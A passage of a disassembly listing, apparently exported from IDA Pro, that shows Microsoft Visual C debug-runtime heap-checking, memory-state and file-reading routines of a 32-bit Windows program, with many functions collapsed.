edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41D0F0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, dword_4518F8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4518F8, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [000000BD BYTES: COLLAPSED FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41D35D. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov eax, off_451CC0 mov [ebp-4], eax mov ecx, [ebp+8] mov off_451CC0, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000088 BYTES: COLLAPSED FUNCTION _CheckBytes. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D430 proc near ; CODE XREF: __heap_alloc_dbg:loc_41C1FCp ; _realloc_help:loc_41C6B2p ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041D7B0 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43CAC0 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov eax, dword_4518F0 and eax, 1 test eax, eax jnz short loc_41D469 mov eax, 1 jmp loc_41D7B3 ; --------------------------------------------------------------------------- loc_41D469: ; CODE XREF: sub_41D430+2Dj push 9 call __lock add esp, 4 mov [ebp+var_4], 0 call unknown_libname_6 ; Microsoft VisualC 2-8/net runtime mov [ebp+var_24], eax cmp [ebp+var_24], 0FFFFFFFFh jz loc_41D58E cmp [ebp+var_24], 0FFFFFFFEh jz loc_41D58E mov ecx, [ebp+var_24] mov [ebp+var_30], ecx mov edx, [ebp+var_30] add edx, 6 mov [ebp+var_30], edx cmp [ebp+var_30], 3 ja loc_41D55C mov eax, [ebp+var_30] jmp ds:off_41D7C4[eax*4] loc_41D4B9: ; CODE XREF: sub_41D430+ADj ; DATA XREF: .text:0041D7D0o push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_32 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41D4D9 int 3 ; Trap to Debugger loc_41D4D9: ; CODE XREF: sub_41D430+A6j xor ecx, ecx test ecx, ecx jnz short loc_41D4B9 jmp loc_41D582 ; --------------------------------------------------------------------------- loc_41D4E4: ; CODE XREF: sub_41D430+82j ; sub_41D430+D8j ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_32 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41D504 int 3 ; Trap to Debugger loc_41D504: ; CODE XREF: sub_41D430+D1j xor edx, edx test edx, edx jnz short loc_41D4E4 jmp short loc_41D582 ; --------------------------------------------------------------------------- loc_41D50C: ; CODE XREF: sub_41D430+82j ; sub_41D430+100j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_32 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41D52C int 3 ; Trap to Debugger loc_41D52C: ; CODE XREF: sub_41D430+F9j xor eax, eax test eax, eax jnz short loc_41D50C jmp short loc_41D582 ; --------------------------------------------------------------------------- loc_41D534: ; CODE XREF: sub_41D430+82j ; sub_41D430+128j ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_32 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41D554 int 3 ; Trap to Debugger loc_41D554: ; CODE XREF: sub_41D430+121j xor ecx, ecx test ecx, ecx jnz short loc_41D534 jmp short loc_41D582 ; --------------------------------------------------------------------------- loc_41D55C: ; CODE XREF: sub_41D430+79j ; sub_41D430+150j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_32 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41D57C int 3 ; Trap to Debugger loc_41D57C: ; CODE XREF: sub_41D430+149j xor edx, edx test edx, edx jnz short loc_41D55C loc_41D582: ; CODE XREF: sub_41D430+AFj ; sub_41D430+DAj ... mov [ebp+var_1C], 0 jmp loc_41D797 ; --------------------------------------------------------------------------- loc_41D58E: ; CODE XREF: sub_41D430+56j ; sub_41D430+60j mov [ebp+var_1C], 1 mov eax, dword_4F34FC mov [ebp+var_20], eax jmp short loc_41D5A7 ; --------------------------------------------------------------------------- loc_41D59F: ; CODE XREF: sub_41D430:loc_41D792j mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+var_20], edx loc_41D5A7: ; CODE XREF: sub_41D430+16Dj cmp [ebp+var_20], 0 jz loc_41D797 mov [ebp+var_28], 1 mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_41D5EC mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 1 jz short loc_41D5EC mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41D5EC mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 3 jnz short loc_41D604 loc_41D5EC: ; CODE XREF: sub_41D430+197j ; sub_41D430+1A0j ... mov eax, [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_451900[ecx*4] mov dword ptr [ebp+var_2C], edx jmp short loc_41D60B ; --------------------------------------------------------------------------- loc_41D604: ; CODE XREF: sub_41D430+1BAj mov dword ptr [ebp+var_2C], offset aDamaged ; "DAMAGED" loc_41D60B: ; CODE XREF: sub_41D430+1D2j push 4 mov al, byte_4518FC push eax mov ecx, [ebp+var_20] add ecx, 1Ch push ecx call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41D660 loc_41D626: ; CODE XREF: sub_41D430+227j mov edx, [ebp+var_20] add edx, 20h push edx mov eax, [ebp+var_20] mov ecx, [eax+18h] push ecx mov edx, dword ptr [ebp+var_2C] push edx ; char push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41D653 int 3 ; Trap to Debugger loc_41D653: ; CODE XREF: sub_41D430+220j xor eax, eax test eax, eax jnz short loc_41D626 mov [ebp+var_28], 0 loc_41D660: ; CODE XREF: sub_41D430+1F4j push 4 mov cl, byte_4518FC push ecx mov edx, [ebp+var_20] mov eax, [edx+10h] mov ecx, [ebp+var_20] lea edx, [ecx+eax+20h] push edx call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41D6BD loc_41D683: ; CODE XREF: sub_41D430+284j mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, [ebp+var_20] mov edx, [ecx+18h] push edx mov eax, dword ptr [ebp+var_2C] push eax ; char push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41D6B0 int 3 ; Trap to Debugger loc_41D6B0: ; CODE XREF: sub_41D430+27Dj xor ecx, ecx test ecx, ecx jnz short loc_41D683 mov [ebp+var_28], 0 loc_41D6BD: ; CODE XREF: sub_41D430+251j mov edx, [ebp+var_20] cmp dword ptr [edx+14h], 0 jnz short loc_41D716 mov eax, [ebp+var_20] mov ecx, [eax+10h] push ecx mov dl, byte_4518FD push edx mov eax, [ebp+var_20] add eax, 20h push eax call _CheckBytes add esp, 0Ch test eax, eax jnz short loc_41D716 loc_41D6E7: ; CODE XREF: sub_41D430+2DDj mov ecx, [ebp+var_20] add ecx, 20h push ecx ; char push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41D709 int 3 ; Trap to Debugger loc_41D709: ; CODE XREF: sub_41D430+2D6j xor edx, edx test edx, edx jnz short loc_41D6E7 mov [ebp+var_28], 0 loc_41D716: ; CODE XREF: sub_41D430+294j ; sub_41D430+2B5j cmp [ebp+var_28], 0 jnz short loc_41D792 mov eax, [ebp+var_20] cmp dword ptr [eax+8], 0 jz short loc_41D758 loc_41D725: ; CODE XREF: sub_41D430+326j mov ecx, [ebp+var_20] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_20] mov ecx, [eax+8] push ecx mov edx, dword ptr [ebp+var_2C] push edx ; char push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41D752 int 3 ; Trap to Debugger loc_41D752: ; CODE XREF: sub_41D430+31Fj xor eax, eax test eax, eax jnz short loc_41D725 loc_41D758: ; CODE XREF: sub_41D430+2F3j ; sub_41D430+359j mov ecx, [ebp+var_20] mov edx, [ecx+10h] push edx mov eax, [ebp+var_20] add eax, 20h push eax mov ecx, dword ptr [ebp+var_2C] push ecx ; char push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 20h cmp eax, 1 jnz short loc_41D785 int 3 ; Trap to Debugger loc_41D785: ; CODE XREF: sub_41D430+352j xor edx, edx test edx, edx jnz short loc_41D758 mov [ebp+var_1C], 0 loc_41D792: ; CODE XREF: sub_41D430+2EAj jmp loc_41D59F ; --------------------------------------------------------------------------- loc_41D797: ; CODE XREF: sub_41D430+159j ; sub_41D430+17Bj mov [ebp+var_4], 0FFFFFFFFh call sub_41D7A5 jmp short loc_41D7B0 sub_41D430 endp ; =============== S U B R O U T I N E ======================================= sub_41D7A5 proc near ; CODE XREF: sub_41D430+36Ep ; DATA XREF: .rdata:0043CAC8o push 9 call __unlock add esp, 4 retn sub_41D7A5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D430 loc_41D7B0: ; CODE XREF: sub_41D430+373j mov eax, [ebp+var_1C] loc_41D7B3: ; CODE XREF: sub_41D430+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41D430 ; --------------------------------------------------------------------------- off_41D7C4 dd offset loc_41D534 ; DATA XREF: sub_41D430+82r dd offset loc_41D50C dd offset loc_41D4E4 dd offset loc_41D4B9 align 10h ; [00000022 BYTES: COLLAPSED FUNCTION __CrtSetDbgFlag. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008D BYTES: COLLAPSED FUNCTION __CrtDoForAllClientObjects. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41D89D. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtDoForAllClientObjects. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004B BYTES: COLLAPSED FUNCTION __CrtIsValidPointer. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D910 proc near ; CODE XREF: _realloc_help+1AAp ; sub_41CCE0+9Cp ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 jnz short loc_41D923 xor eax, eax jmp loc_41DA30 ; --------------------------------------------------------------------------- loc_41D923: ; CODE XREF: sub_41D910+Aj push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call __CrtIsValidPointer add esp, 0Ch test eax, eax jnz short loc_41D941 xor eax, eax jmp loc_41DA30 ; --------------------------------------------------------------------------- loc_41D941: ; CODE XREF: sub_41D910+28j cmp dword_4F3BEC, 3 jnz short loc_41D9AE mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call ___sbh_find_block add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41D97A mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call ___sbh_verify_block add esp, 8 jmp loc_41DA30 ; --------------------------------------------------------------------------- loc_41D97A: ; CODE XREF: sub_41D910+50j mov ecx, dword_4F350C and ecx, 8000h test ecx, ecx jz short loc_41D994 mov eax, 1 jmp loc_41DA30 ; --------------------------------------------------------------------------- loc_41D994: ; CODE XREF: sub_41D910+78j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, dword_4F3BE8 push eax call ds:dword_4F5474 ; HeapValidate jmp loc_41DA30 ; --------------------------------------------------------------------------- loc_41D9AE: ; CODE XREF: sub_41D910+38j cmp dword_4F3BEC, 2 jnz short loc_41DA1A lea ecx, [ebp+var_8] push ecx lea edx, [ebp+var_10] push edx mov eax, [ebp+arg_0] sub eax, 20h push eax call ___sbh_find_block_0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_41D9ED mov ecx, [ebp+var_C] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_41D9E9 mov eax, 1 jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41D9E9: ; CODE XREF: sub_41D910+D0j xor eax, eax jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41D9ED: ; CODE XREF: sub_41D910+C5j mov eax, dword_4F350C and eax, 8000h test eax, eax jz short loc_41DA02 mov eax, 1 jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA02: ; CODE XREF: sub_41D910+E9j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx push 0 mov edx, dword_4F3BE8 push edx call ds:dword_4F5474 ; HeapValidate jmp short loc_41DA30 ; --------------------------------------------------------------------------- loc_41DA1A: ; CODE XREF: sub_41D910+A5j mov eax, [ebp+arg_0] sub eax, 20h push eax push 0 mov ecx, dword_4F3BE8 push ecx call ds:dword_4F5474 ; HeapValidate loc_41DA30: ; CODE XREF: sub_41D910+Ej ; sub_41D910+2Cj ... mov esp, ebp pop ebp retn sub_41D910 endp ; --------------------------------------------------------------------------- align 10h ; [00000106 BYTES: COLLAPSED FUNCTION __CrtIsMemoryBlock. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41DB46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtIsMemoryBlock. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov eax, dword_4F4C38 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4F4C38, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB90 proc near ; CODE XREF: __CrtDumpMemoryLeaks+Dp var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041DD23 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43CB38 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF0h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41DBE4 loc_41DBB9: ; CODE XREF: sub_41DB90+4Dj push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_32 ; "%s" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41DBD9 int 3 ; Trap to Debugger loc_41DBD9: ; CODE XREF: sub_41DB90+46j xor eax, eax test eax, eax jnz short loc_41DBB9 jmp loc_41DD23 ; --------------------------------------------------------------------------- loc_41DBE4: ; CODE XREF: sub_41DB90+27j push 9 call __lock add esp, 4 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] mov edx, dword_4F34FC mov [ecx], edx mov [ebp+var_1C], 0 jmp short loc_41DC12 ; --------------------------------------------------------------------------- loc_41DC09: ; CODE XREF: sub_41DB90+A4j mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_41DC12: ; CODE XREF: sub_41DB90+77j cmp [ebp+var_1C], 5 jge short loc_41DC36 mov ecx, [ebp+var_1C] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_41DC09 ; --------------------------------------------------------------------------- loc_41DC36: ; CODE XREF: sub_41DB90+86j mov edx, dword_4F34FC mov dword ptr [ebp+var_20], edx jmp short loc_41DC49 ; --------------------------------------------------------------------------- loc_41DC41: ; CODE XREF: sub_41DB90:loc_41DCEDj mov eax, dword ptr [ebp+var_20] mov ecx, [eax] mov dword ptr [ebp+var_20], ecx loc_41DC49: ; CODE XREF: sub_41DB90+AFj cmp dword ptr [ebp+var_20], 0 jz loc_41DCF2 mov edx, dword ptr [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_41DCC8 mov ecx, dword ptr [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_41DCC8 mov eax, dword ptr [ebp+var_20] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, dword ptr [ebp+var_20] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, dword ptr [ebp+var_20] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, dword ptr [ebp+var_20] add edx, [eax+10h] mov ecx, dword ptr [ebp+var_20] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_41DCED ; --------------------------------------------------------------------------- loc_41DCC8: ; CODE XREF: sub_41DB90+D0j ; sub_41DB90+E1j ... mov edx, dword ptr [ebp+var_20] push edx ; char push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 ; int push 0 ; Value push 0 ; int push 0 ; int call __CrtDbgReport add esp, 18h cmp eax, 1 jnz short loc_41DCE7 int 3 ; Trap to Debugger loc_41DCE7: ; CODE XREF: sub_41DB90+154j xor eax, eax test eax, eax jnz short loc_41DCC8 loc_41DCED: ; CODE XREF: sub_41DB90+136j jmp loc_41DC41 ; --------------------------------------------------------------------------- loc_41DCF2: ; CODE XREF: sub_41DB90+BDj mov ecx, [ebp+arg_0] mov edx, dword_4F3504 mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, dword_4F34F8 mov [eax+30h], ecx mov [ebp+var_4], 0FFFFFFFFh call sub_41DD18 jmp short loc_41DD23 sub_41DB90 endp ; =============== S U B R O U T I N E ======================================= sub_41DD18 proc near ; CODE XREF: sub_41DB90+181p ; DATA XREF: .rdata:0043CB40o push 9 call __unlock add esp, 4 retn sub_41DD18 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41DB90 loc_41DD23: ; CODE XREF: sub_41DB90+4Fj ; sub_41DB90+186j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41DB90 ; --------------------------------------------------------------------------- align 10h ; [00000123 BYTES: COLLAPSED FUNCTION __CrtMemDifference. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002B1 BYTES: COLLAPSED FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_41E121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000037 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000114 BYTES: COLLAPSED FUNCTION __printMemBlockData. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000074 BYTES: COLLAPSED FUNCTION __CrtDumpMemoryLeaks. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C5 BYTES: COLLAPSED FUNCTION __CrtMemDumpStatistics. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41E3E0(void *DstBuf,size_t ElementSize,size_t Count,FILE *File) sub_41E3E0 proc near ; CODE XREF: sub_4010AB+45p ; sub_40FAB6+4Ep ... var_4 = dword ptr -4 DstBuf = dword ptr 8 ElementSize = dword ptr 0Ch Count = dword ptr 10h File = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+File] push eax call __lock_file add esp, 4 mov ecx, [ebp+File] push ecx ; File mov edx, [ebp+Count] push edx ; Count mov eax, [ebp+ElementSize] push eax ; ElementSize mov ecx, [ebp+DstBuf] push ecx ; DstBuf call _fread add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+File] push edx call __unlock_file add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41E3E0 endp ; --------------------------------------------------------------------------- align 10h ; [000001CF BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FC BYTES: COLLAPSED FUNCTION __fsopen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FF BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000011 BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000129 BYTES: COLLAPSED FUNCTION __atoi64. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000038 BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000013 BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000013 BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E3 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000F BYTES: COLLAPSED FUNCTION __lockexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000F BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000025 BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000FA BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000010 BYTES: COLLAPSED FUNCTION _srand. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION _rand. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION __snprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000242 BYTES: COLLAPSED FUNCTION __splitpath. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F210 proc near ; CODE XREF: sub_401CC7+7627p ; sub_401CC7+7656p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_10], ecx loc_41F225: ; CODE XREF: sub_41F210+3Dj cmp [ebp+arg_0], 0 jnz short loc_41F249 push offset aStringNull ; "string != NULL" push 0 ; int push 3Bh ; Value push offset aFgets_c ; "fgets.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41F249 int 3 ; Trap to Debugger loc_41F249: ; CODE XREF: sub_41F210+19j ; sub_41F210+36j xor edx, edx test edx, edx jnz short loc_41F225 loc_41F24F: ; CODE XREF: sub_41F210+67j cmp [ebp+arg_8], 0 jnz short loc_41F273 push offset aStrNull ; "str != NULL" push 0 ; int push 3Ch ; Value push offset aFgets_c ; "fgets.c" push 2 ; int call __CrtDbgReport add esp, 14h cmp eax, 1 jnz short loc_41F273 int 3 ; Trap to Debugger loc_41F273: ; CODE XREF: sub_41F210+43j ; sub_41F210+60j xor eax, eax test eax, eax jnz short loc_41F24F cmp [ebp+arg_4], 0 jg short loc_41F286 xor eax, eax jmp loc_41F347 ; --------------------------------------------------------------------------- loc_41F286: ; CODE XREF: sub_41F210+6Dj mov ecx, [ebp+arg_8] mov [ebp+File], ecx mov edx, [ebp+File] push edx call __lock_file add esp, 4 loc_41F298: ; CODE XREF: sub_41F210:loc_41F32Dj mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax cmp [ebp+arg_4], 0 jz loc_41F332 mov ecx, [ebp+File] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+File] mov [eax+4], edx mov ecx, [ebp+File] cmp dword ptr [ecx+4], 0 jl short loc_41F2E3 mov edx, [ebp+File] mov eax, [edx] movsx ecx, byte ptr [eax] and ecx, 0FFh mov [ebp+var_14], ecx mov edx, [ebp+File] mov eax, [edx] add eax, 1 mov ecx, [ebp+File] mov [ecx], eax jmp short loc_41F2F2 ; --------------------------------------------------------------------------- loc_41F2E3: ; CODE XREF: sub_41F210+B1j mov edx, [ebp+File] push edx ; File call __filbuf add esp, 4 mov [ebp+var_14], eax loc_41F2F2: ; CODE XREF: sub_41F210+D1j mov eax, [ebp+var_14] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_41F311 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_0] jnz short loc_41F30F mov [ebp+var_10], 0 jmp short loc_41F338 ; --------------------------------------------------------------------------- loc_41F30F: ; CODE XREF: sub_41F210+F4j jmp short loc_41F332 ; --------------------------------------------------------------------------- loc_41F311: ; CODE XREF: sub_41F210+ECj mov edx, [ebp+var_8] mov al, byte ptr [ebp+var_C] mov [edx], al movsx ecx, byte ptr [ebp+var_C] mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx cmp ecx, 0Ah jnz short loc_41F32D jmp short loc_41F332 ; --------------------------------------------------------------------------- loc_41F32D: ; CODE XREF: sub_41F210+119j jmp loc_41F298 ; --------------------------------------------------------------------------- loc_41F332: ; CODE XREF: sub_41F210+95j ; sub_41F210:loc_41F30Fj ... mov eax, [ebp+var_8] mov byte ptr [eax], 0 loc_41F338: ; CODE XREF: sub_41F210+FDj mov ecx, [ebp+File] push ecx call __unlock_file add esp, 4 mov eax, [ebp+var_10] loc_41F347: ; CODE XREF: sub_41F210+71j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F210 endp ; --------------------------------------------------------------------------- align 10h ; [0000001B BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000331 BYTES: COLLAPSED FUNCTION _strtoxl. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION _strtoul. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F6D0 proc near ; CODE XREF: sub_401CC7+5A01p ; .text:0041F727p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:dword_4F5354 ; DeleteFileA test eax, eax jnz short loc_41F6ED call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_4], eax jmp short loc_41F6F4 ; --------------------------------------------------------------------------- loc_41F6ED: ; CODE XREF: sub_41F6D0+10j mov [ebp+var_4], 0 loc_41F6F4: ; CODE XREF: 